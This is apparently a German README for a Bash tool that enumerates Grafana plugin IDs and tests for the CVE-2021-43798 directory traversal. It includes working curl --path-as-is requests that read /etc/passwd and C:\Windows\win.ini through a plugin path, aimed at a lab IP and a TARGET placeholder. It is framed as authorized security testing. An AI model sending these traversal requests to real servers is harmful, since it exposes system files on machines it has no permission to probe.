Bash-basierter Scanner, der Grafana-Plugin-IDs aufzählt und auf CVE-2021-43798 Directory Traversal testet, indem er versucht, /etc/passwd oder win.ini auf anfälligen Instanzen zu lesen.
Ein kleines Bash-basiertes Tool zum Testen von Grafana-Instanzen auf CVE-2021-43798, eine Directory-Traversal-Schwachstelle, die verwundbare Grafana-Versionen betrifft.
Das Tool zählt Grafana-Plugin-IDs auf und verwendet curl --path-as-is, um zu testen, ob Directory Traversal auf eine bekannte Datei zugreifen kann.
Nur für autorisierte Sicherheitstests und Laborumgebungen.
.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md
grafana-windows.sh: Testet den Zugriff auf C:\Windows\win.inigrafana-linux.sh: Testet den Zugriff auf /etc/passwdplugins.txt: Eine Wortliste mit Grafana-Plugin-IDs, die während der Enumeration verwendet wird.curlPrüfen, ob curl installiert ist:
curl --version
Die Skripte ausführbar machen:
chmod +x grafana-windows.sh
chmod +x grafana-linux.sh
CVE-2021-43798 ist eine Directory-Traversal-Schwachstelle in Grafana.
Der verwundbare Endpunkt basiert auf:
/public/plugins/<plugin-id>/
Die Schwachstelle kann Traversal außerhalb des vorgesehenen Plugin-Verzeichnisses ermöglichen.
Der wichtige Teil beim Testen mit curl ist:
--path-as-is
Ohne diese Option kann der Client den Pfad normalisieren, bevor er an den Server gesendet wird.
Der Windows-Scanner versucht, Folgendes abzurufen:
C:\Windows\win.ini
Der Pfad wird in der HTTP-Anfrage dargestellt als:
Windows/win.ini
./grafana-windows.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
Beispiel:
./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt
Sie können ein Plugin manuell testen mit:
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
Für das Laborziel:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
Eine erfolgreiche Antwort sollte den Inhalt der Windows-INI-Datei enthalten.
Der Linux-Scanner versucht, Folgendes abzurufen:
/etc/passwd
./grafana-linux.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
Allgemeines Beispiel:
./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Für das Laborziel:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Eine erfolgreiche Linux-Antwort sollte Einträge ähnlich wie folgende enthalten:
root:x:0:0:root:/root:/bin/bash
Beide Scanner verwenden dieselben grundlegenden Argumente:
u, --url : Grafana-Basis-URLw, --wordlist : Plugin-Wortlistef, --file : Zu testende Dateih, --help : Hilfe anzeigen